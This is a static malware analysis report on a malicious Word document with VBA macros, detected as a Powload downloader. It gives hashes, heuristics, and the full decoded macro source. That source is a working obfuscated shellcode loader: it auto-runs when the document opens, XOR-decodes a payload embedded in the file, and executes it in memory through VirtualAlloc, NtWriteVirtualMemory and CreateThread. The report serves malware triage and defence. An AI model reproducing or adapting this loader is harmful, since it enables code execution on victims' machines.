Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b43dcb3d84d2bf8a…

MALICIOUS

Office (OLE)

37.1 KB Created: 2017-07-27 14:02:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: 862fee547e28efa07a9980aeec834fa3 SHA-1: 200b71d9620274c144c5d9fabb8989dabe597519 SHA-256: b43dcb3d84d2bf8a61fe73f149f3e1033795819fc6f7b57008ed38bb9052a5e1
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a Microsoft Office document containing VBA macros. Heuristics indicate the presence of VirtualAlloc API calls and a Document_Open macro, suggesting an attempt to execute code. The VBA script explicitly uses `VirtualAlloc` and `CreateThread` API calls, which are commonly used by malware to allocate memory and execute shellcode or download additional payloads. The ClamAV detection name 'Doc.Downloader.Powload-6809817-0' further supports the downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    CaPel
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4699 bytes
SHA-256: 4ee94d9ce02fb862214f8e93b47df38080004bbb2fc665c1817066446aabeb8f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
37 of 72 identifiers look randomly generated (e.g. 'DaeLKUIpaxjaBaDfhvxvaRWyGDeZCOditrNjgVTV') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function iSDqPlNWBKSHlrCmqUYN Lib "kernel32" Alias "CreateThread" (ByVal lxcFdkMtpOcnooimSrnV As Long, ByVal EnRinUgGJcuweKURCBy As Long, ByVal VzpYHvslWaI As LongPtr, UaHkkwQqGMGLHRk As Long, ByVal ouqPOJJeXTBRCVJIuYC As Long, cKHgLi As Long) As LongPtr
Private Declare PtrSafe Function dYrJpgCDNjdGcAmuCLGOYh Lib "kernel32" Alias "VirtualAlloc" (ByVal KVJeIEgwxpybx As Long, ByVal YunREiKTUDY As LongPtr, ByVal EXYDEApyqiRMGRKObcYYavtVVqky As Long, ByVal RafgLaixULXMZVPCAlMy As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal SRFaWjDdHnqRRziLGVRBqhrambzE As LongPtr, ByVal ufxZKYjAfOREu As LongPtr, ByVal xHViwHRUpU As String, ByVal FLzEOUJZLniSRhBYkAgaWWUTsqSd As LongPtr, ByRef AAPCcenKVrThFIZoOdbVJGtjTaJQ As LongPtr) As LongPtr
#Else
Private Declare Function iSDqPlNWBKSHlrCmqUYN Lib "kernel32" Alias "CreateThread"  (ByVal lxcFdkMtpOcnooimSrnV As Long, ByVal EnRinUgGJcuweKURCBy As Long, ByVal VzpYHvslWaI As Long, UaHkkwQqGMGLHRk As Long, ByVal ouqPOJJeXTBRCVJIuYC As Long, cKHgLi As Long) As Long
Private Declare Function dYrJpgCDNjdGcAmuCLGOYh Lib "kernel32" Alias "VirtualAlloc" (ByVal KVJeIEgwxpybx As Long, ByVal YunREiKTUDY As Long, ByVal EXYDEApyqiRMGRKObcYYavtVVqky As Long, ByVal RafgLaixULXMZVPCAlMy As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal SRFaWjDdHnqRRziLGVRBqhrambzE As Long, ByVal ufxZKYjAfOREu As Long, ByVal xHViwHRUpU As String, ByVal FLzEOUJZLniSRhBYkAgaWWUTsqSd As Long, ByRef AAPCcenKVrThFIZoOdbVJGtjTaJQ As Long) As Long
#End If

Const vlXMXujooRGndiJddSvKk = &H1000
Const PXnocU = &H40

Public Sub CaPel()
    Dim auhTPBMQekIsCMjyPi() As Byte

    auhTPBMQekIsCMjyPi = FebLxUoxPKLxv(ActiveDocument.FullName)
    Dim hrjQnXCgGOWfNnGtOMgvvBn As String
    hrjQnXCgGOWfNnGtOMgvvBn = StrConv(auhTPBMQekIsCMjyPi, 64)
    
    Dim ePcoJQdk
    ePcoJQdk = Split(hrjQnXCgGOWfNnGtOMgvvBn, "DaeLKUIpaxjaBaDfhvxvaRWyGDeZCOditrNjgVTVbfbNKbFIzJDVeakMeFehPINluaGkmuYlCCtUPjOFXvASlietgafARLgssPtJuvvfL")

    Dim sdlQEUWnufcheVeVtvMJM As String
    Dim aTYtpurBVaygOTwbZXqrvGAUzRmUy As String
    Dim rkTcKEWUhuskCuLoNpu As String
    aTYtpurBVaygOTwbZXqrvGAUzRmUy = StrConv(StrConv(ePcoJQdk(UBound(ePcoJQdk)), 64), 128)
    rkTcKEWUhuskCuLoNpu = Mid$(aTYtpurBVaygOTwbZXqrvGAUzRmUy, 3, Len(aTYtpurBVaygOTwbZXqrvGAUzRmUy))

    sdlQEUWnufcheVeVtvMJM = jcfTDtseT("sCHqWURzjtiUalWn", rkTcKEWUhuskCuLoNpu)
    
    #If VBA7 Then
        Dim gbZWsma As LongPtr
        Dim vnpnMMqWPbeARowQlyswZyIspjiPG As LongPtr
    #Else
        Dim gbZWsma As Long
        Dim vnpnMMqWPbeARowQlyswZyIspjiPG As Long
    #End If

    gbZWsma = dYrJpgCDNjdGcAmuCLGOYh(0, Len(sdlQEUWnufcheVeVtvMJM), vlXMXujooRGndiJddSvKk, PXnocU)
    vnpnMMqWPbeARowQlyswZyIspjiPG = NtWriteVirtualMemory(-1, gbZWsma, sdlQEUWnufcheVeVtvMJM, Len(sdlQEUWnufcheVeVtvMJM), 0)
    vnpnMMqWPbeARowQlyswZyIspjiPG = iSDqPlNWBKSHlrCmqUYN(0, 0, gbZWsma, 0, 0, 0)
End Sub

Public Function FebLxUoxPKLxv(ByVal vCjRkiavl As String) As Byte()
    Dim aTYtpurBVaygOTwbZXqrvGAUzRmUy As Long
    Dim rkTcKEWUhuskCuLoNpu() As Byte
    aTYtpurBVaygOTwbZXqrvGAUzRmUy = FreeFile
    If LenB(Dir(vCjRkiavl)) Then
        Open vCjRkiavl For Binary Access Read As aTYtpurBVaygOTwbZXqrvGAUzRmUy
        ReDim rkTcKEWUhuskCuLoNpu(LOF(aTYtpurBVaygOTwbZXqrvGAUzRmUy) - 1&) As Byte
        Get aTYtpurBVaygOTwbZXqrvGAUzRmUy, , rkTcKEWUhuskCuLoNpu
        Close aTYtpurBVaygOTwbZXqrvGAUzRmUy
    Else
        Err.Raise 53
    End If
    FebLxUoxPKLxv = rkTcKEWUhuskCuLoNpu
    Erase rkTcKEWUhuskCuLoNpu
End Function

Public Sub Document_Open()
    CaPel
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function jcfTDtseT(ixcrJonMiSfeQVYl As String, gikdWz As String) As String
    Dim toeZyrlRbImV As Long
    Dim lKxaahCd As String
    Dim mjUspmV As Integer, BrqLzxqlNuVfUmHAektOAPaiQqSO As Integer, a As Long

    For toeZyrlRbImV = 1 To Len(gikdWz)
        a = toeZyrlRbImV Mod Len(ixcrJonMiSfeQVYl)
        If a = 0 Then a = Len(ixcrJonMiSfeQVYl)
        
        mjUspmV = Asc(Mid$(gikdWz, toeZyrlRbImV, 1))
        BrqLzxqlNuVfUmHAektOAPaiQqSO = Asc(Mid$(ixcrJonMiSfeQVYl, a, 1))
        lKxaahCd = lKxaahCd + Chr(mjUspmV Xor BrqLzxqlNuVfUmHAektOAPaiQqSO)
    Next toeZyrlRbImV
    
   jcfTDtseT = lKxaahCd
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.